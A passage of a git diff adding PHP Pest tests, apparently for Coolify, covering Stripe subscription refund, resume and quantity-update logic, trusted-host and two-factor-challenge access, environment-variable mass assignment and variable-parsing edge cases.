+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(10)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $invoiceCollection = (object) ['data' => []];
+
+ $this->mockInvoices
+ ->shouldReceive('all')
+ ->andReturn($invoiceCollection);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No paid invoice');
+ });
+
+ test('fails when invoice has no payment intent', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(10)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $invoiceCollection = (object) ['data' => [
+ (object) ['payment_intent' => null],
+ ]];
+
+ $this->mockInvoices
+ ->shouldReceive('all')
+ ->andReturn($invoiceCollection);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No payment intent');
+ });
+
+ test('fails when subscription is past refund window', function () {
+ $stripeSubscription = (object) [
+ 'status' => 'active',
+ 'start_date' => now()->subDays(35)->timestamp,
+ ];
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_123')
+ ->andReturn($stripeSubscription);
+
+ $action = new RefundSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('30-day refund window');
+ });
+});
diff --git a/tests/Feature/Subscription/ResumeSubscriptionTest.php b/tests/Feature/Subscription/ResumeSubscriptionTest.php
new file mode 100644
index 000000000..8632a4c07
--- /dev/null
+++ b/tests/Feature/Subscription/ResumeSubscriptionTest.php
@@ -0,0 +1,85 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->subscription = Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_test_789',
+ 'stripe_customer_id' => 'cus_test_789',
+ 'stripe_invoice_paid' => true,
+ 'stripe_plan_id' => 'price_test_789',
+ 'stripe_cancel_at_period_end' => true,
+ 'stripe_past_due' => false,
+ ]);
+
+ $this->mockStripe = Mockery::mock(StripeClient::class);
+ $this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $this->mockStripe->subscriptions = $this->mockSubscriptions;
+});
+
+describe('ResumeSubscription', function () {
+ test('resumes subscription successfully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_789', ['cancel_at_period_end' => false])
+ ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => false]);
+
+ $action = new ResumeSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeTrue();
+ expect($result['error'])->toBeNull();
+
+ $this->subscription->refresh();
+ expect($this->subscription->stripe_cancel_at_period_end)->toBeFalsy();
+ });
+
+ test('fails when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new ResumeSubscription($this->mockStripe);
+ $result = $action->execute($team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No active subscription');
+ });
+
+ test('fails when subscription is not set to cancel', function () {
+ $this->subscription->update(['stripe_cancel_at_period_end' => false]);
+
+ $action = new ResumeSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('not set to cancel');
+ });
+
+ test('handles stripe API error gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
+
+ $action = new ResumeSubscription($this->mockStripe);
+ $result = $action->execute($this->team);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Stripe error');
+ });
+});
diff --git a/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php
new file mode 100644
index 000000000..3e13170f0
--- /dev/null
+++ b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php
@@ -0,0 +1,375 @@
+set('constants.coolify.self_hosted', false);
+ config()->set('subscription.provider', 'stripe');
+ config()->set('subscription.stripe_api_key', 'sk_test_fake');
+
+ $this->team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ $this->subscription = Subscription::create([
+ 'team_id' => $this->team->id,
+ 'stripe_subscription_id' => 'sub_test_qty',
+ 'stripe_customer_id' => 'cus_test_qty',
+ 'stripe_invoice_paid' => true,
+ 'stripe_plan_id' => 'price_test_qty',
+ 'stripe_cancel_at_period_end' => false,
+ 'stripe_past_due' => false,
+ ]);
+
+ $this->mockStripe = Mockery::mock(StripeClient::class);
+ $this->mockSubscriptions = Mockery::mock(SubscriptionService::class);
+ $this->mockInvoices = Mockery::mock(InvoiceService::class);
+ $this->mockTaxRates = Mockery::mock(TaxRateService::class);
+ $this->mockStripe->subscriptions = $this->mockSubscriptions;
+ $this->mockStripe->invoices = $this->mockInvoices;
+ $this->mockStripe->taxRates = $this->mockTaxRates;
+
+ $this->stripeSubscriptionResponse = (object) [
+ 'items' => (object) [
+ 'data' => [(object) [
+ 'id' => 'si_item_123',
+ 'quantity' => 2,
+ 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'],
+ ]],
+ ],
+ ];
+});
+
+describe('UpdateSubscriptionQuantity::execute', function () {
+ test('updates quantity successfully', function () {
+ Queue::fake();
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn($this->stripeSubscriptionResponse);
+
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_qty', [
+ 'items' => [
+ ['id' => 'si_item_123', 'quantity' => 5],
+ ],
+ 'proration_behavior' => 'always_invoice',
+ 'expand' => ['latest_invoice'],
+ ])
+ ->andReturn((object) [
+ 'status' => 'active',
+ 'latest_invoice' => (object) ['status' => 'paid'],
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeTrue();
+ expect($result['error'])->toBeNull();
+
+ $this->team->refresh();
+ expect($this->team->custom_server_limit)->toBe(5);
+
+ Queue::assertPushed(ServerLimitCheckJob::class, function ($job) {
+ return $job->team->id === $this->team->id;
+ });
+ });
+
+ test('reverts subscription and voids invoice when payment fails', function () {
+ Queue::fake();
+
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn($this->stripeSubscriptionResponse);
+
+ // First update: changes quantity but payment fails
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_qty', [
+ 'items' => [
+ ['id' => 'si_item_123', 'quantity' => 5],
+ ],
+ 'proration_behavior' => 'always_invoice',
+ 'expand' => ['latest_invoice'],
+ ])
+ ->andReturn((object) [
+ 'status' => 'active',
+ 'latest_invoice' => (object) ['id' => 'in_failed_123', 'status' => 'open'],
+ ]);
+
+ // Revert: restores original quantity
+ $this->mockSubscriptions
+ ->shouldReceive('update')
+ ->with('sub_test_qty', [
+ 'items' => [
+ ['id' => 'si_item_123', 'quantity' => 2],
+ ],
+ 'proration_behavior' => 'none',
+ ])
+ ->andReturn((object) ['status' => 'active']);
+
+ // Void the unpaid invoice
+ $this->mockInvoices
+ ->shouldReceive('voidInvoice')
+ ->with('in_failed_123')
+ ->once();
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Payment failed');
+
+ $this->team->refresh();
+ expect($this->team->custom_server_limit)->not->toBe(5);
+
+ Queue::assertNotPushed(ServerLimitCheckJob::class);
+ });
+
+ test('rejects quantity below minimum of 2', function () {
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 1);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Minimum server limit is 2');
+ });
+
+ test('fails when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('No active subscription');
+ });
+
+ test('fails when subscription is not active', function () {
+ $this->subscription->update(['stripe_invoice_paid' => false]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('not active');
+ });
+
+ test('fails when subscription item cannot be found', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn((object) [
+ 'items' => (object) ['data' => []],
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Could not find subscription item');
+ });
+
+ test('handles stripe API error gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Stripe error');
+ });
+
+ test('handles generic exception gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->andThrow(new \RuntimeException('Network error'));
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->execute($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('unexpected error');
+ });
+});
+
+describe('UpdateSubscriptionQuantity::fetchPricePreview', function () {
+ test('returns full preview with proration and recurring cost with tax', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn($this->stripeSubscriptionResponse);
+
+ $this->mockInvoices
+ ->shouldReceive('upcoming')
+ ->with([
+ 'customer' => 'cus_test_qty',
+ 'subscription' => 'sub_test_qty',
+ 'subscription_items' => [
+ ['id' => 'si_item_123', 'quantity' => 3],
+ ],
+ 'subscription_proration_behavior' => 'create_prorations',
+ ])
+ ->andReturn((object) [
+ 'amount_due' => 2540,
+ 'total' => 2540,
+ 'subtotal' => 2000,
+ 'tax' => 540,
+ 'currency' => 'usd',
+ 'lines' => (object) [
+ 'data' => [
+ (object) ['amount' => -300, 'proration' => true], // credit for unused
+ (object) ['amount' => 800, 'proration' => true], // charge for new qty
+ (object) ['amount' => 1500, 'proration' => false], // next cycle
+ ],
+ ],
+ 'total_tax_amounts' => [
+ (object) ['tax_rate' => 'txr_123'],
+ ],
+ ]);
+
+ $this->mockTaxRates
+ ->shouldReceive('retrieve')
+ ->with('txr_123')
+ ->andReturn((object) [
+ 'display_name' => 'VAT',
+ 'jurisdiction' => 'HU',
+ 'percentage' => 27,
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($this->team, 3);
+
+ expect($result['success'])->toBeTrue();
+ // Due now: invoice total (2540) - recurring total (1905) = 635
+ expect($result['preview']['due_now'])->toBe(635);
+ // Recurring: 3 × $5.00 = $15.00
+ expect($result['preview']['recurring_subtotal'])->toBe(1500);
+ // Tax: $15.00 × 27% = $4.05
+ expect($result['preview']['recurring_tax'])->toBe(405);
+ // Total: $15.00 + $4.05 = $19.05
+ expect($result['preview']['recurring_total'])->toBe(1905);
+ expect($result['preview']['unit_price'])->toBe(500);
+ expect($result['preview']['tax_description'])->toContain('VAT');
+ expect($result['preview']['tax_description'])->toContain('27%');
+ expect($result['preview']['quantity'])->toBe(3);
+ expect($result['preview']['currency'])->toBe('USD');
+ });
+
+ test('returns preview without tax when no tax applies', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn($this->stripeSubscriptionResponse);
+
+ $this->mockInvoices
+ ->shouldReceive('upcoming')
+ ->andReturn((object) [
+ 'amount_due' => 1250,
+ 'total' => 1250,
+ 'subtotal' => 1250,
+ 'tax' => 0,
+ 'currency' => 'usd',
+ 'lines' => (object) [
+ 'data' => [
+ (object) ['amount' => 250, 'proration' => true], // proration charge
+ (object) ['amount' => 1000, 'proration' => false], // next cycle
+ ],
+ ],
+ 'total_tax_amounts' => [],
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($this->team, 2);
+
+ expect($result['success'])->toBeTrue();
+ // Due now: invoice total (1250) - recurring total (1000) = 250
+ expect($result['preview']['due_now'])->toBe(250);
+ // 2 × $5.00 = $10.00, no tax
+ expect($result['preview']['recurring_subtotal'])->toBe(1000);
+ expect($result['preview']['recurring_tax'])->toBe(0);
+ expect($result['preview']['recurring_total'])->toBe(1000);
+ expect($result['preview']['tax_description'])->toBeNull();
+ });
+
+ test('fails when no subscription exists', function () {
+ $team = Team::factory()->create();
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['preview'])->toBeNull();
+ });
+
+ test('fails when subscription item not found', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->with('sub_test_qty')
+ ->andReturn((object) [
+ 'items' => (object) ['data' => []],
+ ]);
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Could not retrieve subscription details');
+ });
+
+ test('handles Stripe API error gracefully', function () {
+ $this->mockSubscriptions
+ ->shouldReceive('retrieve')
+ ->andThrow(new \RuntimeException('API error'));
+
+ $action = new UpdateSubscriptionQuantity($this->mockStripe);
+ $result = $action->fetchPricePreview($this->team, 5);
+
+ expect($result['success'])->toBeFalse();
+ expect($result['error'])->toContain('Could not load price preview');
+ expect($result['preview'])->toBeNull();
+ });
+});
+
+describe('Subscription billingInterval', function () {
+ test('returns monthly for monthly plan', function () {
+ config()->set('subscription.stripe_price_id_dynamic_monthly', 'price_monthly_123');
+
+ $this->subscription->update(['stripe_plan_id' => 'price_monthly_123']);
+ $this->subscription->refresh();
+
+ expect($this->subscription->billingInterval())->toBe('monthly');
+ });
+
+ test('returns yearly for yearly plan', function () {
+ config()->set('subscription.stripe_price_id_dynamic_yearly', 'price_yearly_123');
+
+ $this->subscription->update(['stripe_plan_id' => 'price_yearly_123']);
+ $this->subscription->refresh();
+
+ expect($this->subscription->billingInterval())->toBe('yearly');
+ });
+
+ test('defaults to monthly when plan id is null', function () {
+ $this->subscription->update(['stripe_plan_id' => null]);
+ $this->subscription->refresh();
+
+ expect($this->subscription->billingInterval())->toBe('monthly');
+ });
+});
diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php
index b745259fe..5c60b30d6 100644
--- a/tests/Feature/TrustHostsMiddlewareTest.php
+++ b/tests/Feature/TrustHostsMiddlewareTest.php
@@ -286,6 +286,56 @@
expect($response->status())->not->toBe(400);
});
+it('trusts localhost when FQDN is configured', function () {
+ InstanceSettings::updateOrCreate(
+ ['id' => 0],
+ ['fqdn' => 'https://coolify.example.com']
+ );
+
+ $middleware = new TrustHosts($this->app);
+ $hosts = $middleware->hosts();
+
+ expect($hosts)->toContain('localhost');
+});
+
+it('trusts 127.0.0.1 when FQDN is configured', function () {
+ InstanceSettings::updateOrCreate(
+ ['id' => 0],
+ ['fqdn' => 'https://coolify.example.com']
+ );
+
+ $middleware = new TrustHosts($this->app);
+ $hosts = $middleware->hosts();
+
+ expect($hosts)->toContain('127.0.0.1');
+});
+
+it('trusts IPv6 loopback when FQDN is configured', function () {
+ InstanceSettings::updateOrCreate(
+ ['id' => 0],
+ ['fqdn' => 'https://coolify.example.com']
+ );
+
+ $middleware = new TrustHosts($this->app);
+ $hosts = $middleware->hosts();
+
+ expect($hosts)->toContain('[::1]');
+});
+
+it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () {
+ InstanceSettings::updateOrCreate(
+ ['id' => 0],
+ ['fqdn' => 'https://coolify.example.com']
+ );
+
+ $response = $this->get('/', [
+ 'Host' => 'localhost',
+ ]);
+
+ // Should NOT be rejected as untrusted host (would be 400)
+ expect($response->status())->not->toBe(400);
+});
+
it('skips host validation for webhook endpoints', function () {
// All webhook routes are under /webhooks/* prefix (see RouteServiceProvider)
// and use cryptographic signature validation instead of host validation
diff --git a/tests/Feature/TwoFactorChallengeAccessTest.php b/tests/Feature/TwoFactorChallengeAccessTest.php
new file mode 100644
index 000000000..2bd58d197
--- /dev/null
+++ b/tests/Feature/TwoFactorChallengeAccessTest.php
@@ -0,0 +1,65 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->personal()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+ session(['currentTeam' => $this->team]);
+});
+
+it('allows unauthenticated access to two-factor-challenge page', function () {
+ $response = $this->get('/two-factor-challenge');
+
+ // Fortify returns a redirect to /login if there's no login.id in session,
+ // but the important thing is it does NOT return a 419 or 500
+ expect($response->status())->toBeIn([200, 302]);
+});
+
+it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () {
+ $paths = allowedPathsForUnsubscribedAccounts();
+
+ expect($paths)->toContain('two-factor-challenge');
+});
+
+it('includes two-factor-challenge in allowed paths for invalid accounts', function () {
+ $paths = allowedPathsForInvalidAccounts();
+
+ expect($paths)->toContain('two-factor-challenge');
+});
+
+it('includes two-factor-challenge in allowed paths for boarding accounts', function () {
+ $paths = allowedPathsForBoardingAccounts();
+
+ expect($paths)->toContain('two-factor-challenge');
+});
+
+it('does not redirect authenticated user with force_password_reset from two-factor-challenge', function () {
+ $this->user->update(['force_password_reset' => true]);
+
+ $response = $this->actingAs($this->user)->get('/two-factor-challenge');
+
+ // Should NOT redirect to force-password-reset page
+ if ($response->isRedirect()) {
+ expect($response->headers->get('Location'))->not->toContain('force-password-reset');
+ }
+});
+
+it('renders 419 error page with login link instead of previous url', function () {
+ $response = $this->get('/two-factor-challenge', [
+ 'X-CSRF-TOKEN' => 'invalid-token',
+ ]);
+
+ // The 419 page should exist and contain a link to /login
+ $view = view('errors.419')->render();
+
+ expect($view)->toContain('/login');
+ expect($view)->toContain('Back to Login');
+ expect($view)->toContain('This page is definitely old, not like you!');
+ expect($view)->not->toContain('url()->previous()');
+});
diff --git a/tests/Unit/ApplicationComposeEditorLoadTest.php b/tests/Unit/ApplicationComposeEditorLoadTest.php
index c0c8660e1..305bc72a2 100644
--- a/tests/Unit/ApplicationComposeEditorLoadTest.php
+++ b/tests/Unit/ApplicationComposeEditorLoadTest.php
@@ -3,7 +3,6 @@
use App\Models\Application;
use App\Models\Server;
use App\Models\StandaloneDocker;
-use Mockery;
/**
* Unit test to verify docker_compose_raw is properly synced to the Livewire component
diff --git a/tests/Unit/ApplicationPortDetectionTest.php b/tests/Unit/ApplicationPortDetectionTest.php
index 1babdcf49..241364a93 100644
--- a/tests/Unit/ApplicationPortDetectionTest.php
+++ b/tests/Unit/ApplicationPortDetectionTest.php
@@ -11,7 +11,6 @@
use App\Models\Application;
use App\Models\EnvironmentVariable;
use Illuminate\Support\Collection;
-use Mockery;
beforeEach(function () {
// Clean up Mockery after each test
diff --git a/tests/Unit/ContainerHealthStatusTest.php b/tests/Unit/ContainerHealthStatusTest.php
index b38a6aa8e..0b33db470 100644
--- a/tests/Unit/ContainerHealthStatusTest.php
+++ b/tests/Unit/ContainerHealthStatusTest.php
@@ -1,7 +1,6 @@
getFillable();
+
+ // Core identification
+ expect($fillable)->toContain('key')
+ ->toContain('value')
+ ->toContain('comment');
+
+ // Polymorphic relationship
+ expect($fillable)->toContain('resourceable_type')
+ ->toContain('resourceable_id');
+
+ // Boolean flags — all used in create/firstOrCreate/updateOrCreate calls
+ expect($fillable)->toContain('is_preview')
+ ->toContain('is_multiline')
+ ->toContain('is_literal')
+ ->toContain('is_runtime')
+ ->toContain('is_buildtime')
+ ->toContain('is_shown_once')
+ ->toContain('is_shared')
+ ->toContain('is_required');
+
+ // Metadata
+ expect($fillable)->toContain('version')
+ ->toContain('order');
+});
+
+test('is_required can be mass assigned', function () {
+ $model = new EnvironmentVariable;
+ $model->fill(['is_required' => true]);
+
+ expect($model->is_required)->toBeTrue();
+});
+
+test('all boolean flags can be mass assigned', function () {
+ $booleanFlags = [
+ 'is_preview',
+ 'is_multiline',
+ 'is_literal',
+ 'is_runtime',
+ 'is_buildtime',
+ 'is_shown_once',
+ 'is_required',
+ ];
+
+ $model = new EnvironmentVariable;
+ $model->fill(array_fill_keys($booleanFlags, true));
+
+ foreach ($booleanFlags as $flag) {
+ expect($model->$flag)->toBeTrue("Expected {$flag} to be mass assignable and set to true");
+ }
+
+ // is_shared has a computed getter derived from the value field,
+ // so verify it's fillable via the underlying attributes instead
+ $model2 = new EnvironmentVariable;
+ $model2->fill(['is_shared' => true]);
+ expect($model2->getAttributes())->toHaveKey('is_shared');
+});
+
+test('non-fillable fields are rejected by mass assignment', function () {
+ $model = new EnvironmentVariable;
+ $model->fill(['id' => 999, 'uuid' => 'injected', 'created_at' => 'injected']);
+
+ expect($model->id)->toBeNull()
+ ->and($model->uuid)->toBeNull()
+ ->and($model->created_at)->toBeNull();
+});
diff --git a/tests/Unit/EnvironmentVariableMagicVariableTest.php b/tests/Unit/EnvironmentVariableMagicVariableTest.php
new file mode 100644
index 000000000..ae85ba45f
--- /dev/null
+++ b/tests/Unit/EnvironmentVariableMagicVariableTest.php
@@ -0,0 +1,141 @@
+shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_FQDN_DB');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
+
+test('SERVICE_URL variables are identified as magic variables', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_URL_API');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
+
+test('SERVICE_NAME variables are identified as magic variables', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_NAME');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
+
+test('regular variables are not magic variables', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('DATABASE_URL');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeFalse();
+ expect($component->isDisabled)->toBeFalse();
+});
+
+test('locked variables are not magic variables unless they start with SERVICE_', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SECRET_KEY');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(true);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeFalse();
+ expect($component->isLocked)->toBeTrue();
+});
+
+test('SERVICE_FQDN with port suffix is identified as magic variable', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_FQDN_DB_5432');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
+
+test('SERVICE_URL with port suffix is identified as magic variable', function () {
+ $mock = Mockery::mock(EnvironmentVariable::class);
+ $mock->shouldReceive('getAttribute')
+ ->with('key')
+ ->andReturn('SERVICE_URL_API_8080');
+ $mock->shouldReceive('getAttribute')
+ ->with('is_shown_once')
+ ->andReturn(false);
+ $mock->shouldReceive('getMorphClass')
+ ->andReturn(EnvironmentVariable::class);
+
+ $component = new Show;
+ $component->env = $mock;
+ $component->checkEnvs();
+
+ expect($component->isMagicVariable)->toBeTrue();
+ expect($component->isDisabled)->toBeTrue();
+});
diff --git a/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php
new file mode 100644
index 000000000..a52d7dba5
--- /dev/null
+++ b/tests/Unit/EnvironmentVariableParsingEdgeCasesTest.php
@@ -0,0 +1,351 @@
+toBe('');
+});
+
+test('splitOnOperatorOutsideNested handles empty variable name with default', function () {
+ $split = splitOnOperatorOutsideNested(':-default');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('default');
+});
+
+test('extractBalancedBraceContent handles double opening brace', function () {
+ $result = extractBalancedBraceContent('${{VAR}}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('{VAR}');
+});
+
+test('extractBalancedBraceContent returns null for empty string', function () {
+ $result = extractBalancedBraceContent('', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null for just dollar sign', function () {
+ $result = extractBalancedBraceContent('$', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null for just opening brace', function () {
+ $result = extractBalancedBraceContent('{', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null for just closing brace', function () {
+ $result = extractBalancedBraceContent('}', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent handles extra closing brace', function () {
+ $result = extractBalancedBraceContent('${VAR}}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('VAR');
+});
+
+test('extractBalancedBraceContent returns null for unclosed with no content', function () {
+ $result = extractBalancedBraceContent('${', 0);
+
+ assertNull($result);
+});
+
+test('extractBalancedBraceContent returns null for deeply unclosed nested braces', function () {
+ $result = extractBalancedBraceContent('${A:-${B:-${C}', 0);
+
+ assertNull($result);
+});
+
+test('replaceVariables handles empty braces gracefully', function () {
+ $result = replaceVariables('${}');
+
+ expect($result->value())->toBe('');
+});
+
+test('replaceVariables handles double braces gracefully', function () {
+ $result = replaceVariables('${{VAR}}');
+
+ expect($result->value())->toBe('{VAR}');
+});
+
+// ─── Edge Cases with Braces and Special Characters ─────────────────────────────
+
+test('extractBalancedBraceContent finds consecutive variables', function () {
+ $str = '${A}${B}';
+
+ $first = extractBalancedBraceContent($str, 0);
+ assertNotNull($first);
+ expect($first['content'])->toBe('A');
+
+ $second = extractBalancedBraceContent($str, $first['end'] + 1);
+ assertNotNull($second);
+ expect($second['content'])->toBe('B');
+});
+
+test('splitOnOperatorOutsideNested handles URL with port in default', function () {
+ $split = splitOnOperatorOutsideNested('URL:-http://host:8080/path');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('URL')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('http://host:8080/path');
+});
+
+test('splitOnOperatorOutsideNested handles equals sign in default', function () {
+ $split = splitOnOperatorOutsideNested('VAR:-key=value&foo=bar');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('VAR')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('key=value&foo=bar');
+});
+
+test('splitOnOperatorOutsideNested handles dashes in default value', function () {
+ $split = splitOnOperatorOutsideNested('A:-value-with-dashes');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('value-with-dashes');
+});
+
+test('splitOnOperatorOutsideNested handles question mark in default value', function () {
+ $split = splitOnOperatorOutsideNested('A:-what?');
+
+ assertNotNull($split);
+ expect($split['variable'])->toBe('A')
+ ->and($split['operator'])->toBe(':-')
+ ->and($split['default'])->toBe('what?');
+});
+
+test('extractBalancedBraceContent handles variable with digits', function () {
+ $result = extractBalancedBraceContent('${VAR123}', 0);
+
+ assertNotNull($result);
+ expect($result['content'])->toBe('VAR123');
+});
+
+test('extractBalancedBraceContent handles long variable name', function () {
